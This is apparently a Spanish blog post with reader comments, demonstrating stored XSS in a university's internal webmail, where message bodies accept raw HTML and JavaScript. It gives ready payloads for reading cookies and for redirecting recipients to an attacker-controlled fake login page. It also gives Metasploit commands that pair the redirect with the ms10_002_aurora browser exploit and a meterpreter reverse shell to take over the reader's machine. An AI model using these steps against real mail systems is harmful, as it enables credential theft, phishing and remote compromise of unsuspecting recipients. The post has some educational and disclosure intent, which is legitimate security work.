14 nov 2012

Los peligros de un XSS - Un ejemplo universitario

Hay muchas ocasiones en las que por el bien de los usuarios se les ofrecen funcionalidades sin llegar a caer en la cuenta de que estas pueden acabar siendo un peligro para ellos.

Ha sido cuando leyendo este genial post de @Kodeinfect llamado Combinando ataques: XSS + Metasploit me ha venido a la cabeza escribir una entrada sobre una "curiosidad" que encontré recientemente en el correo interno de la universidad, el cual permite incrustar fragmentos de texto en html y javascript, he aquí el peligro.

Esto da al usuario la oportunidad de aplicar cierto formato al texto mediante html o javascript, pero tambien da a un atacante malintencionado la posibilidad de realizarataques mediante XSS, siendo la víctima el receptor del correo electrónico.

Vamos a ver tres ejemplos prácticos de ataques que podría llegar a realizar una "mala persona" o alguien aburrido:El primero de estos es el robo de cookies, para ello basta con componer un mensaje y añadir el código javascript para que muestre la cookie, en este caso se utilizará un "alert" por comodidad:

Las únicas peculiaridades han sido habilitar la opción Toggle HTML Source y añadir el siguiente fragmento de código al cuerpo del mensaje:

<script language="javascript" type="text/javascript">alert(document.cookie);</script>
Lo mas interesante de esto es que la victima no verá el código javascript ejecutado en el cuerpo del mensaje a no ser que escoja responder al mensaje y marque la opcion Toggle HTML Source.Otra opción interesante es redirigir a la victima a una ventana de login como si el usuario hubiera perdido la conexión por un fallo del servidor, pero con la peculiaridad que esta está en un servidor bajo nuestro control, para ello basta un pequeño fragmento de codigo incrustado en el mensaje:
<script language="javascript" type="text/javascript">document.location="direccion de nuestro servidor";</script>
Por último es posible hacer algo mucho mas peligroso como lanzar exploits en la máquina del inocente receptor, para ello Metasploit como en otras ocasiones será un gran aliado.Se utiliza como exploit ms10_002_aurora y como payload una shell inversa:
use exploit/windows/browser/ms10_002_auroraset payload windows/meterpreter/reverse_tcp
A continuación hay que configurar el el puerto y la ip a la que se ejecutara el exploit:
set SRVPORT 80set LHOST  192.168.1.40
Y por último lanzarlo:
exploit
Una vez este listo Metasploit el contenido del correo es el siguiente:
<script language="javascript" type="text/javascript">document.location="direccion de nuestro servidor";</script>
donde la información que acompaña a document.location nos la proporciona metasploit al iniciar el servidor.
ya solo queda esperar a que la víctima lea el correo para que Metasploit haga la magia:
La situación en la que el receptor abre el correo y es ejecutado de forma transparente en su navegador un código javascript es muy peligroso, mas que nada si el receptor no tiene conocimientos informáticos o si este es un profesor y lo que el robo de sus datos implicaría. Además el hecho de poder añadir al cuerpo del mensaje cualquier texto permite realizar ataques de ingeniería social muy peligrosos, ya que el receptor seguramente no prestará atención al código javascript embebido puesto que este no se le mostrará.Como aclaración respecto al contenido del post, informaré sobre esta "vulnerabilidad" cuando el post sea publicado, aunque no la considero así, ya que si el editor de mensajes aporta la la opción de añadir fragmentos de html/javascript, considero esto más como una funcionalidad extra que puede usarse "mal" que como una vulnerabilidad propiamente dicha.En fin, nos leemos en breve ;)

4 comentarios:

  1. Muy buen articulo !!Una duda para realizarlo yo en mi laboratorio, cuando se hace el document.location a la 192.168.1.102 supongo que seria a la 192.168.1.40 que es donde se ha arrancado el metasploit no ?Un salu2

    ResponderEliminar
  2. Correcto, si te fijas, cuando lanzas Metasploit y se queda esperando peticiones tiene una linea:[+] LOCAL IP: http://192.168.1.40:80SmPirK En tu caso pondrá la dirección a la que tendrá que ser reverenciada la "víctima".

    ResponderEliminar
  3. Como puedo aprender sobre METAxPLOIT basico?

    ResponderEliminar
  4. Una buena forma de empezar => http://0xword.com/libros/30-libro-metasploit-pentester.html ;)

    ResponderEliminar